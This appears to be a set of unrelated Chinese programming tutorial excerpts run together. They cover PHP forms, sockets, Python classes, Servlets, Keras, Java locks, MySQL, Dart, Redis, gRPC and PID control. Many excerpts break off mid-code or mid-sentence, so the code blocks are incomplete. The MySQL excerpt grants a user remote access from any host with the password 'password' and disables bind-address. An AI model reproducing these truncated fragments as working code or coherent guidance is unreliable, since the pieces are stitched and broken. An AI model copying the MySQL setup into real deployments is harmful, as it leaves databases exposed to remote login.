表单提交实验步骤:
1、利用DreamWeaver、UltraEdit、Visual Studio Code或记事本编写index.php,在该静态网页中添加一个表单(form);
2、将该表单命名为“forma”,在该表单中添加两个输入框,一个输入用户名,名称为“username”,另一个输入密码,名称为“passwd”,类型为password;
3、在表单中添加一个隐藏域,名称为var01,利用PHP定义一个变量并随意赋值,利用隐藏域var01,将该变量的值传递到下一个php文件;
4、另建一个PHP文件,命名随意,在上一个PHP文件index.php的表单中,将目标action指向刚建立的该php文件;
5、在该php文件中,获取前一PHP里,表单提交的用户名、密码和隐藏参数var01,然后判断密码是否等于“test”,如果相等,显示用户名,密码和字符串“成功登录”;否则,显示用户名、密码和隐藏参数“var01+1234”。
实现代码 index.php 界面:
<!DOCTYPE html> <html> <head> <title>登陆界面</title> <meta charset="utf-8"> </head> <body> <!--开始一个表单 --> <h1 class="form-title">登陆界面</h1> <!-- 创建一个标签并绑定该标签对应的输入框,同时设置该输入框为必填项 --> <form class="form-container" name="forma" action="target.php" method="post"> <label class="form-label" for="username">用户名:</label> <!-- 创建一个标签并绑定该标签对应的输入框,同时设置该输入框为必填项,且以密码形式显示 --> <input class="form-input" type="text" id="username" name="username" required> <label class="form-label" for="password">密码:</label> <input class="form-input" type="password" id="password" name="passwd" required> <!-- 创建一个隐藏的输入框,用来存储名为$var01,值为'some_value'的变量 --> <input type="hidden" name="var01" value="<?php echo $var01 = 'var01+1234'; ?>"> <!-- 创建一个提交按钮 --> <input class="
socket编程 socket:套接字是作为端点在服务器端和客户端程序之间建立双向网络通信链路的软件对象。在 UNIX 中,套接字也可以被称为操作系统(OS)中进程间通信(IPC)的端点。可以把进程比作房子,而socket就是房门。应用相当于房子内的一侧,而传输层协议相当于房门外的一侧。
包括两种传输层服务的socket类型:
TCP:可靠的、字节流的服务、面向连接(connection-oriented)
UDP:不可靠(对数据的递送无保证)服务、无连接、发送独立的数据报
什么是可靠?
传过去是什么,那边收到的就是什么,原原本本,不丢失
字节流:
A reliable byte stream is a common service paradigm in computer networking; it refers to a byte stream in which the bytes which emerge from the communication channel at the recipient are exactly the same, and in exactly the same order, as they were when the sender inserted them into the channel.
面向连接:
A connection between client and server is established before data can be sent
Python基础——8.类 8.0 前言8.1 创建和使用类8.1.1 创建Dog 类1. 方法__init__() 8.1.2 根据类创建实例1. 访问属性2. 调用方法3. 创建多个实例 8.2 使用类和实例8.2.1 Car 类8.2.2 给属性指定默认值8.2.3 修改属性的值1. 直接修改属性的值2. 通过方法修改属性的值 3. 通过方法对属性的值进行递增 8.3 继承8.3.1 子类的方法__init__()8.3.2 给子类定义属性和方法8.3.3 重写父类的方法8.3.4 将实例用作属性8.3.5 模拟实物 8.4 导入类8.4.1 导入单个类8.4.2 在一个模块中存储多个类8.4.3 从一个模块中导入多个类8.4.4 导入整个模块8.4.5 导入模块中的所有类8.4.6 在一个模块中导入另一个模块8.4.7 自定义工作流程 8.7 小结 8.0 前言 面向对象编程是最有效的软件编写方法之一。在面向对象编程中,你编写表示现实世界中的事物和情景的类,并基于这些类来创建对象。编写类时,你定义一大类对
象都有的通用行为。基于类创建对象 时,每个对象都自动具备这种通用行为,然后可根据需要赋予每个对象独特的个性。使用面向对象编程可模拟现实情景,其逼真
程度达到了令你惊讶的地步。
根据类来创建对象被称为实例化,这让你能够使用类的实例。在本章中,你将编写一些类并创建其实例。你将指定可在实例中存储什么信息,定义可对这些实例执行
哪些操作。你还将编写一些类来扩展既有类的功能,让相似的类能够高效地共享代码。你将把自己编写的类存储在模块中,并在自己的程序文件中导入其他程序员编
写的类。
理解面向对象编程有助于你像程序员那样看世界,还可以帮助你真正明白自己编写的代码:不仅是各行代码的作用,还有代码背后更宏大的概念。了解类背后的概念
可培养逻辑思维,让你能够通过编写程序来解决遇到的几乎任何问题。
随着面临的挑战日益严峻,类还能让你以及与你合作的其他程序员的生活更轻松。如果你与其他程序员基于同样的逻辑来编写代码,你们就能明白对方所做的工作;
你编写的程序将能被众多合作者所理解,每个人都能事半功倍。
8.1 创建和使用类 使用类几乎可以模拟任何东西。下面来编写一个表示小狗的简单类Dog ——它表示的不是特定的小狗,而是任何小狗。
对于大多数宠物狗,我们都知道些什么呢?它们都有名字和年龄;我们还知道,大多数小狗还会蹲下和打滚。
由于大多数小狗都具备上述两项信息(名字和年龄)和两种行为(蹲下和打滚),我们的Dog 类将包含它们。
这个类让Python知道如何创建表示小狗的对象。编写这个类后,我们将使用它来创建表示特定小狗的实例。
8.1.1 创建Dog 类 根据Dog 类创建的每个实例都将存储名字和年龄。我们赋予了每条小狗蹲下(sit() )和打滚(roll_over() )的能力:
class Dog(): # ❶ "
目录
为什么要学习Servlet
Servlet到底是什么
Servlet是一种规范
Servlet接口
JSP
Servlet版本
Applet
Servlet容器(Web容器)是什么
Web服务器
Web容器
编辑
总结
Tomcat下载和安装
具体网上有很多教程
编辑
几个常用的 Tomcat 命令
编辑
Servlet三种创建方式
Servlet接口
GenericServlet 抽象类
HttpServlet 抽象类
总结
Servlet的部署和访问
javaweb应用
部署
@WebServlet注解(Servlet注解)
@WebServlet注解的属性
@WebServlet注解的使用
Servlet生命周期
编辑
load-on-startup元素:控制Servlet启动优先级
Servlet虚拟路径映射
Servlet单一映射
Servlet多重映射
Servlet虚拟路径匹配规则
ServletConfig接口详解
获得ServletConfig对象(一般有两种方法)
ServletConfig接口提供的方法
配置Servlet初始化参数(2种方式)
获取Servlet初始化参数
ServletContext接口详解
获得ServletContext对象(4种方法)
ServletContext的应用
HttpServletRequest接口详解
编辑
HttpServletRequest 接口
HttpServletResponse接口详解
Servlet请求转发
RequestDispatcher 接口
request 域对象
Servlet重定向
Servlet Cookie的使用
Servlet Session的使用
Session 的生命周期
Servlet Filter(过滤器)
FilterChain过滤器链(Servlet)
FilterConfig接口(Servlet)
时间格式化的库: silly-datetime
安装: npm i silly-datetime --save
var sillyDateTime = require("silly-datetime"); // 获取当前时间,并转换为年月份 时分秒的格式 console.log(sillyDateTime.format(new Date(),"YYYY-MM-DD HH:mm:ss")) // 2023-01-01 12:00:00
使用 Keras 库和 TensorFlow 作为后端 使用 MNIST 数据集作为输入数据,将输入图像压缩到大小为 32 的编码向量中,然后再将其解码回原始图像784。
# 导入必要的库 from keras.layers import Input, Dense from keras.models import Model from keras.datasets import mnist import numpy as np # 加载 MNIST 数据集 (x_train, _), (x_test, _) = mnist.load_data() # 数据预处理 x_train = x_train.astype('float32') / 255. x_test = x_test.astype('float32') / 255. x_train = x_train.reshape((len(x_train), np.prod(x_train.shape[1:]))) x_test = x_test.reshape((len(x_test), np.prod(x_test.shape[1:]))) # 定义编码维度 encoding_dim = 32 # 定义输入层 input_img = Input(shape=(784,)) # 定义编码层和解码层 encoded = Dense(encoding_dim, activation='relu')(input_img) decoded = Dense(784, activation='sigmoid')(encoded) # 定义自动编码器模型 autoencoder = Model(input_img, decoded) # 编译模型 autoencoder.
C.骰子
骰子的六个面看成三对(上下,前后,左右),只要两个骰子有一对不相同,就不是相同的,否则相同。
#include<iostream> using namespace std; int a[8], b[8];//分别记录每一对的两面 int main() { int flag = 1; for (int i = 1; i < 4; i++) { cin >> a[i] >> b[i]; } for (int i = 1; i < 4; i++) { int x, y; cin >> x >> y; if (flag) { for (int j = 1; j < 4; j++) { if ((x == a[j] && y !
目录 一、Java 对象结构二、锁状态三、monitor 对象如何管理线程四、锁升级 一、Java 对象结构 Java 对象的结构分为三部分,分别是对象头、对象体和对齐字节。synchronized 用的锁是存在Java对象头里的,那么什么是对象头呢?
我们以 Hotspot 虚拟机为例进行说明,Hopspot 对象头主要包括两部分数据:Mark Word(标记字段) 和 Klass Pointer(类型指针)。
Mark Word:主要用于存储自身运行时数据Class Pointer:是指针,指向方法区中该 class 的对象,JVM 通过此字段来判断当前对象是哪个类的实例 Mark Word 所代表的「运行时数据」主要用来表示当前 Java 对象的线程锁状态以及 GC 的标志。而线程锁状态分别就是无锁、偏向锁、轻量级锁、重量级锁。
二、锁状态 无锁
无锁是指没有对资源进行锁定,所有的线程都能访问并修改同一个资源,但同时只有一个线程能修
改成功。
偏向锁
无锁状态下线程 A 初次执行到synchronized代码块的时候,锁对象变成偏向锁,执行完同步代码块后,线程并不会主动释放偏向锁,后续线程 A 再次访问同步代码时,不需要做任何的 check,直接执行(偏向于第一个获得它的线程),这样降低了获取锁的代价,提升了效率。
无锁、偏向锁的 lock 标志位是一样的,即都是 01,无锁、偏向锁是靠字段 biased_lock 来区分的,0 代表没有使用偏向锁,1 代表启用了偏向锁。
轻量级锁
在升级成偏向锁的过程中, 一旦有第二个线程参与竞争,就会立即膨胀为轻量级锁。企图抢占的线程一开始会使用自旋的方式去尝试获取锁。如果循环几次,其他的线程释放了锁,就不需要进行用户态到内核态的切换。
JDK 1.7 之前是普通自旋,会设定一个最大的自旋次数,默认是 10 次,超过这个阈值就停止自旋。JDK 1.7 之后,引入了适应性自旋,如果这次自旋获取到锁了,自旋的次数就会增加;这次自旋没拿到锁,自旋的次数就会减少。
重量级锁
在升级成轻量级锁的过程中,试图抢占的线程自旋达到阈值,就会停止自旋,那么此时锁就会膨胀成重量级锁。当其膨胀成重量级锁后,其他竞争的线程进来就不会自旋了,而是直接阻塞等待,并且 Mark Word 中的内容会变成一个监视器(monitor)对象,用来统一管理排队的线程。
三、monitor 对象如何管理线程 每个java对象都可以关联一个monitor对象,如果使用synchronized来进行加重量级锁的话,会在Mark word中存放monitor地址,来与monitor对象相关联。
Owner:拥有当前 monitor 对象的线程,即持有锁的那个线程。WaitSet:当 Owner 线程调用 wait() 方法被阻塞之后,会被放到这里。等待时间到期的时候唤醒,或者其他线程唤醒,会重新进入 EntryList 当中。EntryList:所有竞争锁的线程都会先进入ContentionQueue 中,ContentionQueue 中有资格的线程会被移动到这里。 四、锁升级 线程 A 进入 synchronized 开始抢锁,JVM 会判断当前是否是偏向锁的状态,如果是就会根据 Mark Word 中存储的线程 ID 来判断,当前线程 A 是否就是持有偏向锁的线程。如果是,则忽略 check,线程 A 直接执行临界区内的代码。
如果公司企业想要知道如何制作网站,那么需要了解一些相关的内容。本文将介绍如何制作网站教程,希望对大家有所帮助。
首先我们做好一些准备:域名、建站工具、图文素材、营业执照等资质。
步骤一:创建站点
进入建站工具【24。fkw。com】后,在工具中创建一个站点,并给网站做好名称备注。
步骤二:选择网站模板
随后开始选择网站模板。模板按照行业进行了归类,需要根据公司企业所在的行业去筛选对应行业的模板,进行预览后,觉得合适就可以应用该模板生成网站。
步骤三:设计网站
进入设计网站界面,可以把我们准备好的图文素材替换模板原有的内容。公司企业还可以根据实际情况,为网站添加上更多的功能模块,把功能模块从面板上拖曳到页面中即可。最后把网站完成制作至想要的效果,就可以保存了。
步骤四:发布网站
在建站工具的后台,把域名绑定网站,最后上传好营业执照等资质资料,网站便发布成功。还有后续网站需要备案,会有一个备案期。
以上就是如何制作网站教程的相关内容,大家有所了解了吗?希望对大家有所帮助哦。
1、先注册和登陆dCloud平台,管理应用信息。
需要准备的参数(3个)
APP_ID(如:__UNI__123ABCD)
包名(如:com.hx.mhoa)
应用签名(应用sha1,应用md5,应用sha256)等
2、在Hbuildx项目中,登陆上面的dcloud账号,在manifest中配置项目信息(第一步获取)
3、生成app资源文件(注意项目服务地址,文件地址等信息在这里配置的,生成文件前,建议在检查一下ENV.js)
生成后的文件夹
4、打开android,配置好sdk,将文件夹放在asserts目录下,没有apps目录,可以自己创建下。之后将Hbuildx生成的资源文件copy到apps目录下
5、检查配置,包名版本,指定的jks文件等需要和应用信息一致
jks文件为应用加密的私钥私钥文件,里面封装应用的sha1,md5,sha256等信息需要和dcloud应用一致
6、打包成apk
(1)如果不需要加密的项目,直接如下打包成apk即可
(2)需要打包的项目
找到指定的jks文件,输入密码和别名等信息
选择release,确定即可
学海无涯苦作舟!!!
mysql创建新用户并使其可以远程连接 1.登录数据库 mysql -u root -p 2.查看所有数据库 SHOW DATABASES; 3.创建数据库 CREATE DATABASE test default charset utf8mb4 创建一个名为test的数据库 并设置其字符集为utf8mb4
4.创建新用户 CREATE USER 'newuser'@'%' IDENTIFIED BY 'password'; 创建一个名为neruser的用户,设置其密码为password 并允许该用户从任何主机连接mysql
5.授予新用户权限 GRANT ALL PRIVILEGES ON test.* TO 'newuser'@'%'; 这将授予"newuser"用户对"test"数据库的所有权限
6.刷新权限表 FLUSH PRIVILEGES; 完成以上步骤就代表已创建一个可以远程连接的用户及数据库
ps:如果连接失败 打开文件 vi /etc/mysql/mysql.conf.d/mysqld.cnf 将
bind-address = 127.0.0.1 修改为 #bind-address = 127.0.0.1 重启mysql /etc/init.d/mysql restart 再次使用上面的账号进行连接 成功
文章目录 一、泛型1.类泛型定义2.方法泛型定义3.多个泛型4.泛型约束 二、库的使用1.import 导入库2._ 库成员可见性3.as 解决命名冲突4.导入库的部分5.延迟加载库 三、异步1.Future2.Stream2.1 await for 异步循环2.2 Stream API 四、生成器1.同步生成器2.异步生成器 五、注解 一、泛型 对于泛型想必不用多说,在我们自己写框架或封装时,经常会用到,Dart中泛型的使用基本上于Java差不多,在原理上由于Java泛型为泛型擦除,而Dart是运行时进行即使编译,所以Dart泛型是 固化的
1.类泛型定义 类上使用了泛型后,我们在成员变量上使用,在创建实例时指定泛型类型:
class Cache<T> { T value; Cache(this.value); } main() { Cache cache1 = Cache<String>("hi"); Cache cache2 = Cache<int>(123); print(cache1.value); print(cache2.value); } 运行结果:
由于Dart支持var方式定义变量,所以直观上来说,使用泛型并没有什么区别,方法上使用该泛型类型
class Cache<T> { T value; Cache(this.value); T getCache() => value; } 2.方法泛型定义 除了类上定义泛型,单独的方法中可以定义泛型,下面我们在transformValue方法上定义一个泛型F,并且通过一个transform函数返回F类型的结果,transform函数接收一个T类型参数,并返回一个F类型结果,转换实现交由外部调用者实现
class Cache<T> { T value; Cache(this.value); T getCache() => value; // 将T类型的value转换为别的类型F F transformValue<F>(F transform(T)) { return transform(value); } } main() { Cache cache2 = Cache<int>(123); print(cache2.
目录
一、网络基本概念
1.网络
2.互联网
3.ip地址
4.MAC地址
5.端口号Port
6.网络协议
二.网络分层模型
1.物理层
2.数据链路层
3.网络层
4.传输层
5.应用层
三、三次握手与四次挥手
1.TCP头部
2.三次握手与四次挥手
四、网络应用程序通信流程
五、网络编程
1.主机字节序列和网络字节序列
2.网络应用编程接口——套接字
基本概念 套接字地址结构
(1)通用 socket 地址结构
(2)专用 socket 地址结构
(3)IP 地址转换函数
3.网络编程接口
4.TCP 编程流程
单次连接发送数据
循环发送数据
多线程处理并发
多进程处理并发
5.UDP编程流程
一、网络基本概念 1.网络 网络:由若干结点和连接这些结点的链路组成,网络中的结点可以是计算机,交换机、 路由器等设备。
网络设备有:交换机、路由器、集线器
传输介质有:双绞线、同轴电缆、光纤
一个简单的网络示意图
2.互联网 把多个网络连接起来就构成了互联网。目前最大的互联网就是我们常说的因特网。
3.ip地址 IP 地址就是给因特网上的每一个主机(或路由器)的每一个接口分配的一个在全世界 范围内唯一的标识符。IP 地址因其特殊的结构使我们可以在因特网上很方便地进行寻址。
IP地址的目的:资源共享、信息交互
IP 地址有分 IPV4 和 IPV6 两种类别格式,IPV4 是类似”A.B.C.D”的格式,它是 32 位 的,用“.”分成四个段,每个段是 8 个位(值为 0-255),用 10 进制表示。IPV6 地址是 128 位,格式类似”XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX”,用“:“分成 8 个 段,每个段 16 个位,用 4 个 16 进制数表示。
目录 MySQL索引一、怎么知道一条SQL语句有没有使用索引?二、如何排查慢查询三、索引失效以及为什么失效四、索引为什么能提高查询性能五、为何选择B+树而不是B树六、索引分类七、什么时候创建以及什么时候不需要索引八、索引优化 MySQL索引 一、怎么知道一条SQL语句有没有使用索引? 通过explain关键字查看这条语句的执行计划
key:实际使用的索引,如果为NULL,则表示没有使用索引type:显示查询使用了何种类型,从好到坏,依次为: system:表中只有一行数据const:单表中最多只有一条匹配行,比如说根据主键或者说唯一索引进行查询eq-ref:使用唯一索引,比如说在联表查询中使用主键或者唯一索引作为关联条件ref:使用非唯一索引或者唯一索引前缀扫描range:索引范围扫描index:全索引扫描all:全表扫描 possible_key:能使用那个索引在表中找到该行rows:大致估算出找到所需的记录所需要读取的行数 二、如何排查慢查询 1.通过慢查询日志,long_query_time,默认是10s,超过这个值,会放入一个慢查询日志中,日志会记录这条sql语句,以及其执行时间等记录,再通过explain进行优化。
2.通过MyBatis-Plus的一个内置性能分析插件:可输出SQL语句及其执行时间,能快速揪出慢查询。
三、索引失效以及为什么失效 当我们使用左或者左右模糊匹配的时候,也就是 like %xx 或者 like %xx%这两种方式都会造成索引失效;因为索引是通过前缀进行构建的。当我们在查询条件中对索引列使用函数,就会导致索引失效。因为MySQL没有对使用了函数后的索引列创建索引。当我们在查询条件中对索引列进行表达式计算,也是无法走索引的。同上。MySQL 在遇到字符串和数字比较的时候,会自动把字符串转为数字,然后再进行比较。如果字符串是索引列,而条件语句中的输入参数是数字的话,那么索引列会发生隐式类型转换,由于隐式类型转换是通过 CAST 函数实现的,等同于对索引列使用了函数,所以就会导致索引失效。联合索引要能正确使用需要遵循最左匹配原则,也就是按照最左优先的方式进行索引的匹配,否则就会导致索引失效。在 WHERE 子句中,如果在 OR 前的条件列是索引列,而在 OR 后的条件列不是索引列,那么索引会失效。 四、索引为什么能提高查询性能 MySQL 的数据是持久化的,意味着数据(索引+记录)是保存到磁盘上的,因为这样即使设备断电了,数据也不会丢失。
数据存储在磁盘( SSD 跟 CPU 性能也不在一个量级),而磁盘处理数据很慢;提高磁盘性能主要通过减少 I/O 次数,以及单次 I/O 有效数据量;
索引通过多阶(一个节点保存多个数据,指向多个子节点)使树的结构更矮胖,从而减少 I/O 次数;索引通过 B+ 树,把业务数据与索引数据分离,来提高单次 I/O 有效数据量,从而减少 I/O 次数;索引通过树数据的有序和「二分查找」(多阶树可以假设为多分查找),大大缩小查询范围;索引针对的是单个字段或部分字段,数据量本身比一条记录的数据量要少的多,这样即使通过扫描的方式查询索引也比扫描数据库表本身快的多; 五、为何选择B+树而不是B树 但是 MySQL 默认的存储引擎 InnoDB 采用的是 B+ 作为索引的数据结构,原因有:
B+ 树的非叶子节点不存放实际的记录数据,仅存放索引,因此数据量相同的情况下,相比存储即存索引又存记录的 B 树,B+树的非叶子节点可以存放更多的索引,因此 B+ 树可以比 B 树更「矮胖」,查询底层节点的磁盘 I/O次数会更少。B+ 树有大量的冗余节点(所有非叶子节点都是冗余索引),这些冗余索引让 B+ 树在插入、删除的效率都更高,比如删除根节点的时候,不会像 B 树那样会发生复杂的树的变化;B+ 树叶子节点之间用链表连接了起来,有利于范围查询,而 B 树要实现范围查询,因此只能通过树的遍历来完成范围查询,这会涉及多个节点的磁盘 I/O 操作,范围查询效率不如 B+ 树。 六、索引分类 我们可以按照四个角度来分类索引。
1. Desktop类和SystemTray类 在JDK6中 ,AWT新增加了两个类:Desktop和SystemTray。 前者可以用来打开系统默认浏览器浏览指定的URL,打开系统默认邮件客户端给指定的邮箱发邮件,用默认应用程序打开或编辑文件(比如,用记事本打开以txt为后缀名的文件),用系统默认的打印机打印文档;后者可以用来在系统托盘区创建一个托盘程序.
2. 使用JAXB2来实现对象与XML之间的映射 JAXB是Java Architecture for XML Binding的缩写,可以将一个Java对象转变成为XML格式,反之亦然。
我们把对象与关系数据库之间的映射称为ORM, 其实也可以把对象与XML之间的映射称为OXM(Object XML Mapping). 原来JAXB是Java EE的一部分,在JDK6中,SUN将其放到了Java SE中,这也是SUN的一贯做法。JDK6中自带的这个JAXB版本是2.0, 比起1.0(JSR 31)来,JAXB2(JSR 222)用JDK5的新特性Annotation来标识要作绑定的类和属性等,这就极大简化了开发的工作量。
实际上,在Java EE 5.0中,EJB和Web Services也通过Annotation来简化开发工作。另外,JAXB2在底层是用StAX(JSR 173)来处理XML文档。除了JAXB之外,我们还可以通过XMLBeans和Castor等来实现同样的功能。
3. 理解StAX StAX(JSR 173)是JDK6.0中除了DOM和SAX之外的又一种处理XML文档的API。
StAX 的来历:在JAXP1.3(JSR 206)有两种处理XML文档的方法:DOM(Document Object Model)和SAX(Simple API for XML).
由于JDK6.0中的JAXB2(JSR 222)和JAX-WS 2.0(JSR 224)都会用到StAX所以Sun决定把StAX加入到JAXP家族当中来,并将JAXP的版本升级到1.4(JAXP1.4是JAXP1.3的维护版 本). JDK6里面JAXP的版本就是1.4. 。
StAX是The Streaming API for XML的缩写,一种利用拉模式解析(pull-parsing)XML文档的API.StAX通过提供一种基于事件迭代器(Iterator)的API让程序员去控制xml文档解析过程,程序遍历这个事件迭代器去处理每一个解析事件,解析事件可以看做是程序拉出来的,也就是程序促使解析器产生一个解析事件 然后处理该事件,之后又促使解析器产生下一个解析事件,如此循环直到碰到文档结束符;
SAX也是基于事件处理xml文档,但却是用推模式解析,解析器解析完整个xml文档后,才产生解析事件,然后推给程序去处理这些事件;DOM 采用的方式是将整个xml文档映射到一颗内存树,这样就可以很容易地得到父节点和子结点以及兄弟节点的数据,但如果文档很大,将会严重影响性能。
4. 使用Compiler API 现在我们可以用JDK6 的Compiler API(JSR 199)去动态编译Java源文件,Compiler API结合反射功能就可以实现动态的产生Java代码并编译执行这些代码,有点动态语言的特征。
这个特性对于某些需要用到动态编译的应用程序相当有用, 比如JSP Web Server,当我们手动修改JSP后,是不希望需要重启Web Server才可以看到效果的,这时候我们就可以用Compiler API来实现动态编译JSP文件,当然,现在的JSP Web Server也是支持JSP热部署的,现在的JSP Web Server通过在运行期间通过Runtime.
前 言 Redis是当前一款较受欢迎的NoSQL数据库,其基于内存运行,性能高效。既然是基于内存运行的,那么它就会有存储上限,最高也就是物理内存的容量。当超出设定的Redis内存时,要么释放内存,那么报OOM(内存溢出)的异常了。那么Redis 是如何处理过期数据的?当内存不够用时 Redis 又是如何处理的?
在本篇博客文章中,我将带着这些问题详细的讲解Redis的过期策略和内存淘汰机制。
📝 预备小知识
最大可用内存maxmemory
maxmemory是Redis中一个非常重要的参数,用于设置Redis实例可用的最大内存。
具体来说,maxmemory参数用于设置Redis实例能够使用的最大内存大小。当Redis使用的内存达到maxmemory时,Redis会根据一定的策略来释放部分内存,以保证Redis不会超出可用内存大小。
maxmemory参数的默认值为0,这里的0不是说它分配的内存大小是0,如果是的话那数据都不用存了。它实质上表示Redis实例不会限制可用内存大小(32位系统有限制3GB),就是我的上限取决于物理内存。但是,在生产环境中,我们通常需要手动设置maxmemory参数,以避免Redis使用过多的内存而导致系统崩溃。
那么问题又来了,如何设置maxmemory的大小呢?
💡 两种方式
在Redis配置文件中设置
可以在Redis的配置文件中设置maxmemory参数的值,以限制Redis可用的最大内存空间。具体来说,可以在Redis配置文件(redis.conf)中添加以下配置:
maxmemory <bytes> 其中,<bytes>表示可用的最大内存大小,例如:
maxmemory 104857600 表示Redis可用的最大内存大小为100MB。
使用Redis命令动态设置
可以使用Redis的CONFIG命令,在运行时动态设置maxmemory参数的值。具体来说,可以使用以下命令:
CONFIG SET maxmemory <bytes> 其中,<bytes>表示可用的最大内存大小,例如:
CONFIG SET maxmemory 104857600 表示Redis可用的最大内存大小为100MB。
需要注意的是,当使用CONFIG SET命令动态设置maxmemory参数时,需要确保Redis的运行状态正常。否则,如果Redis已经超出了新设置的最大内存大小,可能会导致Redis崩溃或数据丢失。
一般推荐Redis设置内存为最大物理内存的四分之三 如何查看Redis内存使用情况呢?
info memory
config get maxmemory
如果Redis内存使用真超出设定的最大值会怎么样呢?
当没有加上过期时间就会导致数据写满maxmemory,为了避免类似情况,就有了下面的过期策略和内存淘汰策略,我们继续往下看吧!
一、Redis过期策略 我们知道,redis中缓存的数据是有过期时间的,当缓存数据失效时,如何一直不清理,就会堆满整个内存。就像垃圾桶里的东西已经没用了,但如果不到掉的话就会满出来,这显然是不合理的。
那么Redis是如何处理过期数据的呢?
这就要讲到Redis的过期策略,它是指在Redis中对过期键值的处理方式,当一个key过期后,Redis会自动将其删除,以节省内存空间。
那么什么是过期时间和过期键呢?
Redis的过期策略中,有两个重要的概念:过期时间和过期键。
过期时间:Redis中的每个key都有一个过期时间,它表示该key的存活时间。过期时间可以通过EXPIRE命令来设置,例如:EXPIRE key 10表示让key在10秒后过期。
过期键:当一个key的过期时间到达后,它就成为了一个过期键,Redis会在定期扫描和惰性删除中将这些过期键进行清理。
对于处理过期数据,我们首先会想到什么方案?
立即删除
最简单的就是到期后立刻删除,啥也不用想,你到期我就扇你,哦不,是删你🤣。但会存在一些问题。
Redis不可能时时刻刻遍历所有被设置了生存时间的key,来检测数据是否已经到达过期时间,然后对它进行删除。立即删除能保证内存中数据的最大新鲜度,因为它保证过期键值会在过期后马上被删除,其所占用的内存也会立即删除能保证内存中数据的最大新鲜度,因为它保证过期键值会在过期后马上被删除,其所占用的内存也会随之释放。但是立即删除对cpu是最不友好的。
因为删除操作会占用cpu的时间,如果刚好碰上了cpu很忙的时候,比如正在做交集或排序等计算的时候,就会给cpu造成额外的压力,让CPU心累,时时需要删除,忙死。这会产生大量的性能消耗,同时也会影响数据的读取操作。这会产生大量的性能消耗,同时也会影响数据的读取操作。
总结: 对CPU不友好,用处理器性能换取存储空间(拿时间换空间)
惰性删除
上面立即删除是过期就删除,现在我数据过期了不立马响应,即数据到达过期时间,不做处理,等下次访问该数据时,如果未过期,返回数据;发现已过期,删除,返回不存在。
惰性删除策略的缺点是,它对内存是最不友好的。如果一个键已经过期,而这个键又仍然保留在redis中,那么只要这个过期键不被删除,它所占用的内存就不会释放。在使用惰性删除策略时,如果数据库中有非常多的过期键,而这些过期键又恰好没有被访问到的话,那么它们也许永远也不会被删除(除非用户手动执行FLUSHDB),我们甚至可以将这种情况看作是一种内存泄漏–无用的垃圾数据占用了大量的内存,而服务器却不会自己去释放它们,这对于运行状态非常依赖于内存的Redis服务器来说,肯定不是一个好消息。
总结: 对memory不友好,用存储空间换取处理器性能(拿空间换时间)
背景:php作为客户端使用grpc和protobuf调用其他服务
1、自己先了解:grpc、protobuf
2、环境:php7.3、composer
设置php全局变量
php -version查看PHP版本是php7.3.4nts,所以要选(NTS)那个
3、给php安装grpc扩展
下载grpc扩展:
PECL :: Package :: gRPC 1.42.0 for Windows
或者根据自己的php版本去库里选择:https://pecl.php.net/package/gRPC
下载后解压,把php_grpc.dll这个文件复制到php\php7.3.4nts\ext这个目录下
找到php.ini这个文件加入 extension=php_grpc.dll
phpstorm终端输入php -m 查看扩展是否安装成功;
或者用 var_dump(phpinfo()); 看看有没有
4、新建项目目录:protobuf_test
引入grpc和protobuf的PHP类库,在目录下新建文件composer.json,如下:
{ "name": "xxs/grpc", "require": { "grpc/grpc": "^v1.4.0", "google/protobuf": "^v3.3.0" }, "autoload":{ "psr-4":{ "GPBMetadata\\":"GPBMetadata/", "Helloworld\\":"Helloworld/" } } } 【composer 需配置全局变量】在目录下执行composer install
顺带执行:composer dump-autoload
如下图,我这里执行完是1.52.0和3.22.2,composer ^ 符号的解释:php composer 版本号 ^ 与~_小镇学者的博客-CSDN博客
5、下载protoc.exe可执行程序
Releases · protocolbuffers/protobuf · GitHub
我下载的v22.2:https://github.com/protocolbuffers/protobuf/releases/download/v22.2/protoc-22.2-win64.zip
在最前面推荐一个大佬的讲解,真的很浅显易懂,建议先看了解大概PID:链接
ps:2022/1/2更新pid通俗理解: out_speed = p*err+d*now_speed;//pid最核心算法 运动员参加100米跑步,假设这个人可以瞬间提速,但是无法瞬间减速到0
起点:0米
终点:100米
/*************************************************/
p=0.5,i=0,d=0
起跑时:
运动员在d=0,终点在100,此时100-d=100
out_speed =100×0.5=50,所以起跑时运动员速度最大,每秒50米
一秒后:
运动员到d=50米位置,此时距离终点err=100-d=50
out_speed =50×0.5=25
两秒后:
运动员跑到50+25=75米的位置,距离终点err=100-75=25
out_speed =25×0.5=12.5
…
可以预测,运动员越接近终点,速度越小,开始时候速度最大,快速到终点,相比全程匀速10米每秒的速度跑,可以比较一下的值pid算法在相应速度和效率上的优势
/*************************************************/
p=0.5,i=0,d=0.1
起跑时:
运动员在d=0,终点在100,此时100-d=100
out_speed =100×0.5+0=50
所以起跑时运动员速度最大,每秒50米
一秒后:
运动员到d=50米位置,此时距离终点err=100-d=50
out_speed =50×0.5+0.1×(-50)=20
两秒后:
运动员跑到d=50+20=70米的位置,距离终点err=100-d=30
out_speed =20×0.5+0.1×(-20)=10.5
…
/*************************************************/
可以推测,d的存在会让运动员刹车能力更强!也就是在牺牲速度的情况下,增加了稳定性,到了终点能马上刹住,不超出终点,就好比在运动员身后栓了根绳子,跑得越快,绳子往后拉的力气越大,辅助运动员刹车。
仔细观察可以发现一秒后和两秒后的now_speed分别为和(-50)和(-20),
(-50) = err-lasterr=50-100
(-20)= err -lasterr=30-50=-20
因此你会发现,now_speed也就是网上大多数文章讲pid时提到的微分,再通俗点说就是err-lasterr和now_speed成比例,可以等效替换,得到如下式子
out_speed = p*err+d*(err-lasterr);//pid最核心算法 注意:这里的系统输出的是速度,如果输出的是角度同样能控制,也一样都适用,变量名字换一下,pd重新调一下就好了,上面两个式子将会依次对照下面2个式子,可以结合着理解
out_Angle = p*err+d*now_Angle_speed;//now_Angle_speed是角速度,单位为rad/s out_Angle = p*err+d*(err-lasterr);//pid最核心算法 一般pd控制的系统就足够百分之80的系统用了
什么是PID 快速(P)、准确(I)、稳定(D)
P:Proportion(比例),就是输入偏差乘以一个常数。
I :Integral(积分),就是对输入偏差进行积分运算。
D:Derivative(微分),对输入偏差进行微分运算。
(输入偏差=读出的被控制对象的值-设定值。比如说我要把温度控制在26度,但是现在我从温度传感器上读出温度为28度。则这个26度就是”设定值“,28度就是“读出的被控制对象的值”。)
1稳定性(P和I降低系统稳定性,D提高系统稳定性):在平衡状态下,系统受到某个干扰后,经过一段时间其被控量可以达到某一稳定状态;
